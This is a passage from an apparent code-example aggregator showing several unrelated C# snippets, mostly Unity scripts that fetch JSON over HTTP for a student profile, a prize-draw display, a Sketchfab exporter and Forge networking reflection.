                        tableInfo.HoldNum = 2;
                    }
                    else if (Convert.ToInt32(hs["HoldNum"]) == 2)
                    {
                        tableInfo.HoldNum = 4;
                    }
                    else if (Convert.ToInt32(hs["HoldNum"]) == 3)
                    {
                        tableInfo.HoldNum = 6;
                    }
                    tableInfo.IsUse = Convert.ToInt32(hs["IsUse"]);
                    tableInfo.Notes = (string)hs["Notes"];
                    status          = (string)hs["Status"];
                }


                bool r = tableInfoBLL.SaveTableInfo(tableInfo, status);
                if (r)
                {
                    String json = JSON.Encode("保存成功!");
                    context.Response.Write(json);
                }
                else
                {
                    String json = JSON.Encode("保存失败!");
                    context.Response.Write(json);
                }
            }
        }
Exemple #44
0
    IEnumerator GetProfileByStudentId(string studentId)
    {
        string playerUrl = baseUrl + "player/getUser/" + studentId;
        string worldUrl  = baseUrl + "world/getCharsByUserId/" + studentId;
        string reportUrl = baseUrl + "player/getReport/" + studentId;

        // requesting player data
        UnityWebRequest playerRequest = UnityWebRequest.Get(playerUrl);

        yield return(playerRequest.SendWebRequest());

        if (playerRequest.isNetworkError || playerRequest.isHttpError)
        {
            Debug.Log(playerRequest.error);
            yield break;
        }
        else
        {
            Debug.Log("Get player data successfully");
        }

        JSONNode playerData = JSON.Parse(playerRequest.downloadHandler.text);

        Debug.Log(playerData);


        // requesting report data
        UnityWebRequest reportRequest = UnityWebRequest.Get(reportUrl);

        yield return(reportRequest.SendWebRequest());

        if (reportRequest.isNetworkError || reportRequest.isHttpError)
        {
            Debug.Log(reportRequest.error);
            yield break;
        }
        else
        {
            Debug.Log("Get report data successfully");
        }
        JSONNode reportData = JSON.Parse(reportRequest.downloadHandler.text);

        Debug.Log(reportData);


        // requesting world data
        UnityWebRequest worldRequest = UnityWebRequest.Get(worldUrl);

        yield return(worldRequest.SendWebRequest());

        if (worldRequest.isNetworkError || worldRequest.isHttpError)
        {
            Debug.Log(worldRequest.error);
            yield break;
        }
        else
        {
            Debug.Log("Get world data successfully");
        }

        JSONNode worldData = JSON.Parse(worldRequest.downloadHandler.text);

        Debug.Log(worldData);


        ConstructProfile(playerData, worldData, reportData);
    }
Exemple #45
0
    IEnumerator getDates()
    {
        while (true)
        {
            // Debug.Log("clocou");
            wait = true;
            WWW www2 = new WWW(serverURL);
            yield return(www2);

            if (!string.IsNullOrEmpty(www2.error))
            {
                noInternet = true;
                continue;
            }
            noInternet = false;
            WWW www = new WWW(jsonurl);
            yield return(www);

            if (!string.IsNullOrEmpty(www.error))
            {
                noInternet = true;
                continue;
            }
            noInternet = false;
            string response = www.text;
            var    json     = JSON.Parse(response);
            string prsseg;
            string limitresg;
            if (lastFetch != response)
            {
                try
                {
                    lastFetch = response;
                    //Debug.Log(response);
                    json      = JSON.Parse(response);
                    prsseg    = json["proximoSorteioSegundos"].ToString();
                    limitresg = json["limiteResgateSegundos"].ToString();
                }
                catch (System.Exception e)
                {
                    Debug.Log("Deu o erro " + e);
                    break;
                }

                JSONArray vencedor = (JSONArray)json["sorteados"];

                if (!sorteando)
                {
                    //sorttx.GetComponent<Text>().text = "Tempo para proximo sorteio:";
                    if (prsseg != "0")
                    {
                        psint      = int.Parse(prsseg);
                        temsorteio = true;
                    }
                    // GameObject.Find("minrest").GetComponent<Text>().text = hourManager(prsseg);

                    // sorttx.GetComponent<Text>().text = "Tempo limite para resgate:";

                    limiresgint = int.Parse(limitresg);

                    // GameObject.Find("minrest").GetComponent<Text>().text = hourManager(limitresg);
                }


                JSONArray proxsortarr = (JSONArray)json["proximos_sorteios"];
                JSONNode  jackpot     = json["jackpot"];

                CultureInfo provider      = CultureInfo.InvariantCulture;
                int         timelimitresg = 9999;

                basenome.text = json["nome_local"];

                try
                {
                    timelimitresg = getseconds(System.DateTime.ParseExact(json["tempo_resgate"], "HH:mm", provider));
                }
                catch (System.Exception e)
                {
                    Debug.Log("Deu o erro " + e);
                }
                if (!sorteando)
                {
                    if (!sorteando && psint <= 20 && psint > 0)// && proxsortarr.Count > 0 )//&& int.Parse(limitresg) <= timelimitresg.Second)
                    {
                        try
                        {
                            {
                                Debug.Log("REALIZA SORTEIO");

                                GetComponent <sorteiomanager>().Startsorteio(JSON.Parse(lastFetch), true, 0);
                                sorteando = true;
                            }
                        }
                        catch (System.Exception e)
                        {
                            Debug.Log("Deu o erro " + e);
                        }
                    }

                    /*
                     * if(!sorteando&& vencedor[0]["situacao"] == "TICKET_RESGATADO" &&prsseg=="0"&&limiresgint>0)
                     * {
                     *  Debug.Log("Sorteio multiplo resgatado");
                     *  GetComponent<sorteiomanager>().Startsorteio(JSON.Parse(json), false, limiresgint+2);
                     *
                     * }
                     */

                    if ((limiresgint <= 10 && limiresgint > 0) && int.Parse(prsseg) == 0) //&& (json["tipo"] == "EXTRA"))
                    {
                        Debug.Log("tenta Efetua sorteio extra " + vencedor[0]["date_time_sorteio"] + "  " + json["sorteio_extra"] + " " + (json["sorteio_extra"] == "SIM"));

                        string st = vencedor[0]["date_time_sorteio"].ToString().Substring(1, 15);
                        Debug.Log(st);
                        System.DateTime dt  = System.DateTime.Now;
                        System.DateTime now = System.DateTime.Now;

                        try
                        {
                            dt  = System.DateTime.ParseExact(st, "yyyy-MM-ddHH:mm", provider);
                            now = System.DateTime.ParseExact(json["dataHoraServidor"], "yyyy-MM-dd HH:mm:ss", provider);
                        }
                        catch (System.Exception e)
                        {
                            Debug.Log("Deu o erro " + e);
                        }
                        Debug.Log(json["sorteio_extra"] + " " + json["tipo"] + "  " + (dt - now).TotalMinutes);

                        if ((dt - now).TotalMinutes <= 1 && ((json["tipo"] == "EXTRA") || json["sorteio_extra"] == "SIM"))
                        {
                            // Debug.Log("ERA P SORTEA EXTRA ");
                            www = new WWW(jsonurl);
                            yield return(www);

                            if (!string.IsNullOrEmpty(www.error))
                            {
                                noInternet = true;
                                continue;
                            }
                            json = JSON.Parse(www.text);
                            if (int.Parse(json["proximoSorteioSegundos"]) <= 0)
                            {
                                GetComponent <sorteiomanager>().Startsorteio(JSON.Parse(json), false, limiresgint);
                            }
                            else
                            {
                                Debug.Log("saiu protecao");
                            }
                        }
                    }
                    if (!sorteando && limiresgint > 0 && int.Parse(prsseg) == 0 && limiresgint < timelimitresg)
                    {
                        winnerImage.enabled = true;
                        timerest.GetComponent <Text>().enabled = false;
                        if (oldwinner != vencedor[0]["picture"])
                        {
                            oldwinner = vencedor[0]["picture"];

                            WWW downimage = new WWW(imgplace + vencedor[0]["picture"]);
                            yield return(downimage);

                            if (!string.IsNullOrEmpty(downimage.error))
                            {
                                continue;
                            }
                            winnerImage.sprite = Sprite.Create(downimage.texture,
                                                               new Rect(0, 0, downimage.texture.width, downimage.texture.height), Vector2.zero);
                            winnerImage.transform.localPosition = new Vector3(-1.5f, -1.5f, 0);
                        }
                        tmr.enabled    = true;
                        textmr.enabled = true;
                        ultimos.SetActive(false);
                        fundonext.SetActive(false);

                        oqtasort.transform.parent.gameObject.SetActive(true);
                        oqganhou.transform.parent.gameObject.SetActive(true);
                        oqganhou.text = vencedor[0]["name"];
                        oqtasort.text = vencedor[0]["premio"]["descricao_premio"];
                        if (vencedor[0]["premio"]["tipo_premio"] == "VALOR")
                        {
                            oqtasort.text = "R$ " + vencedor[0]["premio"]["valor"];
                        }
                        else if (vencedor[0]["premio"]["tipo_premio"] == "SPIN")
                        {
                            oqtasort.text = "SPIN " + vencedor[0]["premio"]["qtd_spin"] + "x";
                        }
                        hd.SetActive(true);
                        jackpottx.transform.parent.parent.gameObject.SetActive(false);
                        mostravence = true;
                    }
                    else if (!sorteando)
                    {
                        winnerImage.sprite = noWinner;
                        winnerImage.gameObject.transform.localPosition = Vector3.zero;
                        mostravence = false;
                        timerest.GetComponent <Text>().enabled = true;
                        tmr.enabled    = false;
                        textmr.enabled = false;
                        if (!showdispo)
                        {
                            ultimos.SetActive(true);
                        }
                        fundonext.SetActive(true);
                        oqtasort.transform.parent.gameObject.SetActive(false);
                        oqganhou.transform.parent.gameObject.SetActive(false);
                        hd.SetActive(true);
                        jackpot = json["jackpot"];
                        if (jackpot["situacao_jackpot"] == "ATIVO")
                        {
                            jackpottx.transform.parent.parent.gameObject.SetActive(true);
                            jackpottx.text = jackpot["jackpot"];
                        }
                        else
                        {
                            jackpottx.transform.parent.parent.gameObject.SetActive(false);
                        }
                    }
                }
                string proxsortt = "";

                if (proxsortarr.Count <= 0)
                {
                    proxhorapremio.text = "00:00";
                    proxpremio.text     = "Sem sorteio";
                }
                else
                {
                    proxsortt           = proxsortarr[0]["horario"].ToString().Split(' ')[1].Substring(0, 5);
                    proxhorapremio.text = proxsortt;
                    //Debug.Log(proxsortarr[0]["descricao_premio"]);

                    proxpremio.text = proxsortarr[0]["descricao_premio"];
                    if (proxsortarr[0]["tipo_premio"] == "VALOR")
                    {
                        proxpremio.text = "R$ " + proxsortarr[0]["valor"];
                    }
                    else if (proxsortarr[0]["tipo_premio"] == "SPIN")
                    {
                        proxpremio.text = "SPIN " + proxsortarr[0]["qtd_spin"] + "x";
                    }
                }



                JSONArray ultimos10      = (JSONArray)json["ultimos10"];
                JSONArray disponiveis    = (JSONArray)json["disponiveis"];
                JSONArray ultimos10sorts = (JSONArray)json["ultimos10Sorteados"];
                JSONArray premios        = (JSONArray)json["premios_disponiveis"];
                // disponiveis = ultimos10;
                //Debug.Log("aqui "+ ultimos.ToString()+ "  "+ ultimos10sorts.ToString());
                if (disponiveis.Count > 0)
                {
                    if (ultimo == null)
                    {
                        ultimo = disponiveis[0];
                    }
                    else if (ultimo["user_id"] != disponiveis[0]["user_id"])
                    {
                        ultimo = disponiveis[0];

                        falados fd = new falados(ultimo["user_id"], System.DateTime.Now);
                        Debug.Log("ultimo trocou");
                        if (!sorteando && (psint > 40 || limiresgint > 40))
                        {
                            if (falados.possofalar(faladoslist, fd) && GetComponent <localmanager>().falabemvindo.isOn)
                            {
                                StartCoroutine(playbenvindo(ultimo["name"]));
                                faladoslist.Add(fd);
                            }
                            else
                            {
                                Debug.Log("Nao posso falar pq ja falei");
                            }
                        }
                    }
                }
                if (!sorteando)
                {
                    if (ultimos10.Count > 0 && vencedor.Count > 0)
                    {
                        if (jackpot["situacao_jackpot"] == "ATIVO" || jackpot["jackpot_agendamento"] == "SIM")
                        {
                            //Debug.Log("situ jackpot "+vencedor[0]["situacao"] + " ultimo id " + ultimos10[0]["user_id"] + " vence id " + vencedor[0]["user_id"] + "  lastjack " + jackpot["jackpot_agendamento"]);
                            if (vencedor[0]["situacao"] == "TICKET_RESGATADO" && ultimos10[0]["user_id"] == vencedor[0]["user_id"] && !sorteandojackpot)
                            {
                                if (lastuserjackpot != vencedor[0]["user_id"])
                                {
                                    bool ganha = jackpot["jackpot_agendamento"] == "SIM";
                                    lastuserjackpot = vencedor[0]["user_id"];
                                    try
                                    {
                                        System.DateTime resgtime = System.DateTime.ParseExact(vencedor[0]["hora_resgate"], "yyyy-MM-dd HH:mm:ss", provider);
                                        float           minutes  = Mathf.Abs((float)(System.DateTime.Now - resgtime).TotalSeconds);
                                        if (!sorteandojackpot && minutes < 150)
                                        {
                                            Debug.Log("Sorteou Jackpot");
                                            GetComponent <sorteiomanager>().startJackpotvoid(JSON.Parse(lastFetch), ganha);
                                        }
                                    }
                                    catch (System.Exception e)
                                    {
                                        Debug.Log("Deu o erro " + e);
                                    }
                                }
                            }
                        }
                    }
                    if (showdispo && !sorteando && !sorteandojackpot && !mostravence)
                    {
                        //userinfGameObj.SetActive(false);
                        ultimos.SetActive(false);
                        dispos.SetActive(true);
                        Debug.Log("mostra dispo ai " + ultimos.activeSelf);
                        JSONArray disparray = (JSONArray)json["disponiveis"];
                        GameObject.Find("title").GetComponent <Text>().text = disparray.Count + " Disponíveis";
                        if (contentdispo.transform.childCount != disparray.Count)
                        {
                            foreach (Transform t in contentdispo.transform)
                            {
                                Destroy(t.gameObject);
                            }
                            contentdispo.GetComponent <RectTransform>().sizeDelta = new Vector2(contentdispo.GetComponent <RectTransform>().sizeDelta.x, disparray.Count * 100 + disparray * 10);
                            for (int i = 0; i < disparray.Count; i++)
                            {
                                WWW imgwww = new WWW(imgplace + disparray[i]["picture"]);
                                yield return(imgwww);

                                var infuser = Instantiate(dispoinfo, contentdispo.transform);
                                infuser.transform.Find("nomeuser").GetComponent <Text>().text = disparray[i]["name"];
                                infuser.transform.Find("arg").GetChild(0).GetChild(0).GetComponent <Image>().sprite =
                                    Sprite.Create(imgwww.texture, new Rect(0, 0, imgwww.texture.width, imgwww.texture.height), new Vector2(0, 0));
                                infuser.transform.Find("barrabg").GetComponent <Image>().sprite = infsbgs[Random.Range(0, 4)];
                                EventTrigger.Entry entry = new EventTrigger.Entry();
                                entry.eventID = EventTriggerType.PointerUp;
                                Image locked = infuser.transform.Find("locked").gameObject.GetComponent <Image>();
                                entry.callback.AddListener((eventData) => { locked.enabled = !locked.enabled; Debug.Log("tranca"); });


                                infuser.GetComponent <EventTrigger>().triggers.Add(entry);
                            }
                        }
                    }
                    else
                    {
                        dispos.SetActive(false);
                        if (ultimos10 != null && ult10 != null)
                        {
                            if ((ultimos10.ToString() != ult10.ToString() || lastup != 0) && whatshow == 0)
                            {
                                lastup = 0;
                                //Camera.main.GetComponent<AudioSource>().PlayOneShot(swipe);
                                ult10         = ultimos10;
                                wtshowtx.text = "";
                                foreach (Transform t in utiparent.transform)
                                {
                                    if (t.gameObject.tag == "userinf")
                                    {
                                        Destroy(t.gameObject);
                                    }
                                }

                                int much = ult10.Count > 6 ? 6 : ult10.Count;
                                for (int i = 0; i < much; i++)
                                {
                                    WWW imgwww = new WWW(imgplace + ult10[i]["picture"]);
                                    yield return(imgwww);

                                    if (!string.IsNullOrEmpty(imgwww.error))
                                    {
                                        continue;
                                    }

                                    var infuser = Instantiate(userinfGameObj, utiparent.transform);

                                    infuser.GetComponent <LayoutElement>().minHeight = 40 * Screen.height / 750;
                                    infuser.transform.Find("username").GetComponent <Text>().text = ult10[i]["name"];


                                    infuser.transform.Find("brancofund").Find("mask").Find("userimage").GetComponent <Image>().sprite =
                                        Sprite.Create(imgwww.texture, new Rect(0, 0, imgwww.texture.width, imgwww.texture.height), new Vector2(0, 0));
                                    infuser.transform.Find("barrabg").GetComponent <Image>().sprite = infsbgs[Random.Range(0, 4)];
                                    // if (i == 5) infuser.SetActive(false);
                                    infuser.SetActive(true);
                                    if (i == 4)
                                    {
                                        break;
                                    }
                                }
                                if (much != 0)
                                {
                                    wtshowtx.text = whatshowstext[whatshow];
                                }
                                else
                                {
                                    wtshowtx.text = "";
                                }

                                if (much == 0)
                                {
                                    whatshow++;
                                }
                            }
                            else if ((lastpremios.ToString() != premios.ToString() || lastup != 1) && whatshow == 1)
                            {
                                lastpremios   = premios;
                                wtshowtx.text = "";
                                //Camera.main.GetComponent<AudioSource>().PlayOneShot(swipe);
                                foreach (Transform t in utiparent.transform)
                                {
                                    if (t.gameObject.tag == "userinf")
                                    {
                                        Destroy(t.gameObject);
                                    }
                                }

                                JSONArray proxsort = (JSONArray)json["proximos_sorteios"];
                                int       much     = proxsort.Count > 6 ? 6 : proxsort.Count;
                                for (int i = 0; i < much; i++)
                                {
                                    try
                                    {
                                        var hr = proxsort[i]["horario"].ToString().Split(' ')[1].Substring(0, 5);
                                        if (hr == proxsortt)
                                        {
                                            continue;
                                        }

                                        var    infuser = Instantiate(userinf2, utiparent.transform);
                                        string ptx     = proxsort[i]["descricao_premio"];
                                        if (proxsort[i]["tipo_premio"] == "VALOR")
                                        {
                                            ptx = "R$ " + proxsort[i]["valor"];
                                        }
                                        else if (proxsort[i]["tipo_premio"] == "SPIN")
                                        {
                                            ptx = "SPIN " + proxsort[i]["qtd_spin"] + "x";
                                        }

                                        infuser.transform.Find("username").GetComponent <Text>().text = hr + " - " + ptx;



                                        infuser.transform.Find("barrabg").GetComponent <Image>().sprite = infsbgs[Random.Range(0, 4)];
                                    }
                                    catch (System.Exception e)
                                    {
                                        Debug.Log("Deu o erro " + e);
                                    }
                                }
                                if (much > 1)
                                {
                                    wtshowtx.text = whatshowstext[whatshow];
                                }
                                if (much == 0)
                                {
                                    whatshow++;
                                }

                                lastup = 1;
                            }


                            else if ((last10sort.ToString() != disponiveis.ToString() || lastup != 2) && whatshow == 2)
                            {
                                last10sort    = disponiveis;
                                wtshowtx.text = "";
                                //Camera.main.GetComponent<AudioSource>().PlayOneShot(swipe);
                                foreach (Transform t in utiparent.transform)
                                {
                                    if (t.gameObject.tag == "userinf")
                                    {
                                        Destroy(t.gameObject);
                                    }
                                }

                                int much = last10sort.Count > 6 ? 6 : last10sort.Count;
                                much = much > 1 ? 1 : much;
                                for (int i = 0; i < much; i++)
                                {
                                    WWW imgwww = new WWW(imgplace + last10sort[i]["picture"]);
                                    yield return(imgwww);

                                    if (!string.IsNullOrEmpty(imgwww.error))
                                    {
                                        continue;
                                    }
                                    var infuser = Instantiate(bemvindogameob, utiparent.transform);
                                    infuser.transform.Find("username").GetComponent <Text>().text = last10sort[i]["name"];

                                    infuser.transform.Find("Image").Find("brancofund").Find("mask").Find("userimage").GetComponent <Image>().sprite = Sprite.Create(imgwww.texture, new Rect(0, 0, imgwww.texture.width, imgwww.texture.height), new Vector2(0, 0));
                                    //infuser.transform.Find("barrabg").GetComponent<Image>().sprite = infsbgs[Random.Range(0, 4)];
                                    // if (i == 5) infuser.SetActive(false);
                                    infuser.SetActive(true);
                                    if (i == 4)
                                    {
                                        break;
                                    }
                                }
                                lastup = 2;
                                if (much != 0)
                                {
                                    wtshowtx.text = whatshowstext[whatshow];
                                }
                                else
                                {
                                    wtshowtx.text = "";
                                }
                                if (much == 0)
                                {
                                    whatshow++;
                                }
                            }
                            else if ((lastpremios.ToString() != premios.ToString() || lastup != 3) && whatshow == 3)
                            {
                                lastpremios   = premios;
                                wtshowtx.text = "";
                                // Camera.main.GetComponent<AudioSource>().PlayOneShot(swipe);
                                foreach (Transform t in utiparent.transform)
                                {
                                    if (t.gameObject.tag == "userinf")
                                    {
                                        Destroy(t.gameObject);
                                    }
                                }
                                //wtshowtx.text = whatshowstext[whatshow];


                                int much = lastpremios.Count > 6 ? 6 : lastpremios.Count;
                                for (int i = 0; i < much; i++)
                                {
                                    var infuser = Instantiate(userinf2, utiparent.transform);

                                    infuser.transform.Find("username").GetComponent <Text>().text = lastpremios[i]["titulo"] + "      " + lastpremios[i]["pontos"] + " pts";



                                    infuser.transform.Find("barrabg").GetComponent <Image>().sprite = infsbgs[Random.Range(0, 4)];
                                }
                                lastup = 3;
                                if (much != 0)
                                {
                                    wtshowtx.text = whatshowstext[whatshow];
                                }
                                else
                                {
                                    wtshowtx.text = "";
                                }
                                if (much == 0)
                                {
                                    whatshow = 0;
                                }
                            }
                        }
                    }
                }
            }


            break;
            //yield return new WaitForSeconds(2);
        }
        wait = false;
    }
Exemple #46
0
    // Update is called once per frame
    void OnInspectorUpdate()
    {
        Repaint();
        float currentTimeSecond = convertToSeconds(DateTime.Now);

        if (access_token.Length > 0 && currentTimeSecond - lastTokenTime > expiresIn)
        {
            access_token = "";
            relog();
        }

        if (publisher != null && publisher.www != null && publisher.www.isDone)
        {
            state = publisher.getState();
            www   = publisher.www;
            switch (state)
            {
            case ExporterState.CHECK_VERSION:
                JSONNode githubResponse = JSON.Parse(this.jsonify(www.text));
                if (githubResponse != null && githubResponse[0]["tag_name"] != null)
                {
                    latestVersion = githubResponse[0]["tag_name"];
                    if (exporterVersion != latestVersion)
                    {
                        bool update = EditorUtility.DisplayDialog("Exporter update", "A new version is available \n(you have version " + exporterVersion + ")\nIt's strongly rsecommended that you update now. The latest version may include important bug fixes and improvements", "Update", "Skip");
                        if (update)
                        {
                            Application.OpenURL(latestReleaseUrl);
                        }
                    }
                    else
                    {
                        resizeWindow(fullSize);
                    }
                }
                else
                {
                    latestVersion = "";
                    resizeWindow(fullSize + new Vector2(0, 15));
                }
                publisher.setIdle();
                break;

            case ExporterState.REQUEST_CODE:
                JSONNode accessResponse = JSON.Parse(this.jsonify(www.text));
                if (accessResponse["access_token"] != null)
                {
                    access_token  = accessResponse["access_token"];
                    expiresIn     = accessResponse["expires_in"].AsFloat;
                    lastTokenTime = convertToSeconds(DateTime.Now);
                    publisher.getAccountType(access_token);
                    if (exporterVersion != latestVersion)
                    {
                        resizeWindow(fullSize + new Vector2(0, 20));
                    }
                    else
                    {
                        resizeWindow(fullSize);
                    }
                }
                else
                {
                    string errorDesc = accessResponse["error_description"];
                    EditorUtility.DisplayDialog("Authentication failed", "Failed to authenticate on Sketchfab.com.\nPlease check your credentials\n\nError: " + errorDesc, "Ok");
                    publisher.setIdle();
                }

                break;

            case ExporterState.PUBLISH_MODEL:
                //foreach(string key in www.responseHeaders.Keys)
                //{
                //    Debug.Log("[" + key + "] = " + www.responseHeaders[key]);
                //}
                if (www.responseHeaders["STATUS"].Contains("201") == true)
                {
                    string urlid = www.responseHeaders["LOCATION"].Split('/')[www.responseHeaders["LOCATION"].Split('/').Length - 1];
                    string url   = skfbUrl + "models/" + urlid;
                    Application.OpenURL(url);
                }
                else
                {
                    EditorUtility.DisplayDialog("Upload failed", www.responseHeaders["STATUS"], "Ok");
                }
                publisher.setIdle();
                break;

            case ExporterState.GET_CATEGORIES:
                string jsonify = this.jsonify(www.text);
                if (!jsonify.Contains("results"))
                {
                    Debug.Log(jsonify);
                    Debug.Log("Failed to retrieve categories");
                    publisher.setIdle();
                    break;
                }

                JSONArray categoriesArray = JSON.Parse(jsonify)["results"].AsArray;
                foreach (JSONNode node in categoriesArray)
                {
                    categories.Add(node["name"], node["slug"]);
                    categoriesNames.Add(node["name"]);
                }
                publisher.setIdle();
                break;

            case ExporterState.USER_ACCOUNT_TYPE:
                string accountRequest = this.jsonify(www.text);
                if (!accountRequest.Contains("account"))
                {
                    Debug.Log(accountRequest);
                    Debug.Log("Failed to retrieve user account type");
                    publisher.setIdle();
                    break;
                }

                var userSettings = JSON.Parse(accountRequest);
                isUserPro       = userSettings["account"].ToString().Contains("free") == false;
                userDisplayName = userSettings["displayName"];
                publisher.setIdle();
                break;
            }
        }
    }
Exemple #47
0
        IEnumerator Request(JSONObject Params, Action <JSONObject> onResult)
        {
            //Debug.Log("Network.request");
            var returnData = new JSONObject();

            if (!Params.HasKey("url") || Params["url"] == null)
            {
                Debug.LogError("Exception: " + "URL cannot be null!");
                //throw new ServiceException("URL cannot be null!");
            }

            string url = Params["url"];

            string method;

            if (!Params.HasKey("method") || Params["method"] == null)
            {
                method = "GET";
            }
            else
            {
                method = ((string)Params["method"]).Equals("GET") ? "GET" : "POST";
            }

            var request = new UnityWebRequest(url)
            {
                method          = method,
                timeout         = ConfigData.Hrt / 1000,
                downloadHandler = new DownloadHandlerBuffer()
            };

            if (Params.HasKey("headers") && Params["headers"] != null)
            {
                var headers = Params["headers"].AsObject;

                if (headers.Count == 1 && headers.HasKey("Content-Type") && headers["Content-Type"] != null)
                {
                    request.SetRequestHeader("Content-Type", headers["Content-Type"]);
                }
            }


            if (Params.HasKey("data") && Params["data"] != null)
            {
                string data = Params["data"];

                var rawData = Encoding.UTF8.GetBytes(data);

                if (rawData.Length > 0)
                {
                    request.uploadHandler = new UploadHandlerRaw(rawData);
                }
            }

            yield return(request.SendWebRequest());

            if (request.isNetworkError || request.isHttpError)
            {
                returnData.Add("HasError", true);
                returnData.Add("ErrorMessage", "خطایی در اجرای درخواست شما رخ داد!!!");
                returnData.Add("ErrorCode", ErrorCodes.Exception);
                returnData.Add("Result", null);

//                Debug.Log("NETWORK_RESPONSE ERROR: \n\nParams: " + Service.PrettyJson(Params) + "\nResponse Code: " +
//                          request.responseCode + "\n\nResponseBody: {}\n");
            }
            else
            {
                var response = JSON.Parse(request.downloadHandler.text).AsObject;

                returnData.Add("HasError", false);
                returnData.Add("ErrorMessage", "");
                returnData.Add("ErrorCode", 0);
                returnData.Add("Result", response);

                //Debug.Log("NETWORK_RESPONSE SUCCESS: \n\nParams: " + Service.PrettyJson(Params) + "\nResponse Code: " +
                //          request.responseCode + "\n\nResponseBody: " + Service.PrettyJson(JSON.Parse(request.downloadHandler.text).AsObject) + "\n");
            }

            onResult(returnData);

            request.Dispose();
        }
Exemple #48
0
    public static void SetQuestionWasAnswered(string shieldNum, string key)
    {
        string values = PlayerPrefs.GetString("opened_questions");

        if (values != null && values.Length > 0)
        {
            var jsonStr = JSON.Parse(values);

            var listNode = jsonStr [key].AsArray;

            if (listNode != null)
            {
                foreach (JSONData i in listNode)
                {
                    if (i.Value == shieldNum)
                    {
                        return;
                    }
                }

                JSONNode jnod = new JSONNode();
                jnod.Add(shieldNum);

                listNode.Add(shieldNum);

                jsonStr [key] = listNode;
            }
            else
            {
                JSONArray listNode1 = new JSONArray();

                JSONNode jnod1 = new JSONNode();
                jnod1.Add(shieldNum);

                listNode1.Add(shieldNum);

                jsonStr.Add(key, listNode1);
            }



            //UserController.currentUser.Motto = jsonStr.ToString();
            //profile.SaveUser ();
            PlayerPrefs.SetString("opened_questions", jsonStr.ToString());

            return;
        }
        else
        {
            JSONArray listNode = new JSONArray();

            JSONNode jnod = new JSONNode();
            jnod.Add(shieldNum);

            listNode.Add(shieldNum);


            JSONClass rootNode = new JSONClass();
            rootNode.Add(key, listNode);

            //UserController.currentUser.Motto = rootNode.ToString();

            //profile.SaveUser ();
            PlayerPrefs.SetString("opened_questions", rootNode.ToString());

            return;
        }
    }
Exemple #49
0
 public static T DeserializeObject <T>(string json)
 {
     return(DeserializeObject <T>(JSON.Parse(json)));
 }
Exemple #50
0
        public ForgeClassObject(string location)
        {
            this.FileLocation  = location;
            this.Filename      = Path.GetFileName(FileLocation);
            this.ExactFilename = Path.GetFileNameWithoutExtension(FileLocation);

            if (ExactFilename == "NetworkManager")
            {
                return;
            }

            List <float>          _interpolationValues = new List <float>();
            JSONNode              typeData             = null;
            JSONNode              typeHelperData       = null;
            JSONNode              interpolData         = null;
            Type                  currentType          = GetType("BeardedManStudios.Forge.Networking.Generated." + this.ExactFilename);
            GeneratedRPCAttribute aRPC = (GeneratedRPCAttribute)Attribute.GetCustomAttribute(currentType, typeof(GeneratedRPCAttribute));
            GeneratedRPCVariableNamesAttribute aNames    = (GeneratedRPCVariableNamesAttribute)Attribute.GetCustomAttribute(currentType, typeof(GeneratedRPCVariableNamesAttribute));
            GeneratedInterpolAttribute         aInterpol = (GeneratedInterpolAttribute)Attribute.GetCustomAttribute(currentType, typeof(GeneratedInterpolAttribute));

            if (aRPC != null && !string.IsNullOrEmpty(aRPC.JsonData))
            {
                typeData = JSON.Parse(aRPC.JsonData);
            }
            else
            {
                typeData = new JSONClass();
            }

            if (aNames != null && !string.IsNullOrEmpty(aNames.JsonData))
            {
                typeHelperData = JSON.Parse(aNames.JsonData);
            }
            else
            {
                typeHelperData = new JSONClass();
            }

            if (aInterpol != null && !string.IsNullOrEmpty(aInterpol.JsonData))
            {
                interpolData = JSON.Parse(aInterpol.JsonData);
            }
            else
            {
                interpolData = new JSONClass();
            }

#if FORGE_EDITOR_DEBUGGING
            string forgeClassDebug = "Loaded - " + this.ExactFilename + System.Environment.NewLine;
#endif

            List <MethodInfo>   uniqueMethods    = new List <MethodInfo>();
            List <PropertyInfo> uniqueProperties = new List <PropertyInfo>();
            List <FieldInfo>    uniqueFields     = new List <FieldInfo>();

            if (currentType == null)
            {
                throw new NullReferenceException("CANNOT PUT SOURCE CODE IN GENERATED FOLDER! PLEASE REMOVE NON GENERATED CODE!");
            }

            MethodInfo[]   methods    = currentType.GetMethods(BindingFlags.Public | BindingFlags.NonPublic | BindingFlags.Instance | BindingFlags.FlattenHierarchy).Where(m => m.GetParameters().Length == 1 && m.GetParameters()[0].ParameterType.FullName == "BeardedManStudios.Forge.Networking.RpcArgs").ToArray();
            PropertyInfo[] properties = currentType.GetProperties(BindingFlags.Public | BindingFlags.NonPublic | BindingFlags.Instance | BindingFlags.FlattenHierarchy);
            FieldInfo[]    fields     = currentType.GetFields(BindingFlags.Public | BindingFlags.NonPublic | BindingFlags.Instance | BindingFlags.FlattenHierarchy);

            uniqueMethods.AddRange(methods);
            uniqueProperties.AddRange(properties);
            uniqueFields.AddRange(fields);

            if (currentType.BaseType != null)
            {
                Type baseType         = currentType.BaseType;
                Type networkBehavior  = currentType.GetInterface("INetworkBehavior");
                Type factoryInterface = currentType.GetInterface("INetworkObjectFactory");
                bool isMonobehavior   = currentType.IsSubclassOf(typeof(MonoBehaviour));

                if (baseType.FullName == "BeardedManStudios.Forge.Networking.NetworkObject")
                {
                    ObjectClassType = ForgeBaseClassType.NetworkObject;
                    IdentityValue   = ++IDENTITIES;
                }
                else if (networkBehavior != null && !isMonobehavior)
                {
                    ObjectClassType = ForgeBaseClassType.NetworkBehavior;
                }
                else if (baseType == typeof(MonoBehaviour) || isMonobehavior)
                {
                    ObjectClassType = ForgeBaseClassType.MonoBehavior;
                }
                else if (factoryInterface != null)
                {
                    ObjectClassType = ForgeBaseClassType.ObjectFactory;
                }
                else if (baseType == typeof(Enum))
                {
                    ObjectClassType = ForgeBaseClassType.Enums;
                }
                else
                {
                    ObjectClassType = ForgeBaseClassType.Custom;
                }

                MethodInfo[]   baseMethods    = baseType.GetMethods(BindingFlags.Public | BindingFlags.NonPublic | BindingFlags.Instance | BindingFlags.FlattenHierarchy);
                PropertyInfo[] baseProperties = baseType.GetProperties(BindingFlags.Public | BindingFlags.NonPublic | BindingFlags.Instance | BindingFlags.FlattenHierarchy);
                FieldInfo[]    baseFields     = baseType.GetFields(BindingFlags.Public | BindingFlags.NonPublic | BindingFlags.Instance | BindingFlags.FlattenHierarchy);

                for (int i = 0; i < baseMethods.Length; ++i)
                {
                    for (int x = 0; x < uniqueMethods.Count; ++x)
                    {
                        if (uniqueMethods[x].Name == baseMethods[i].Name &&
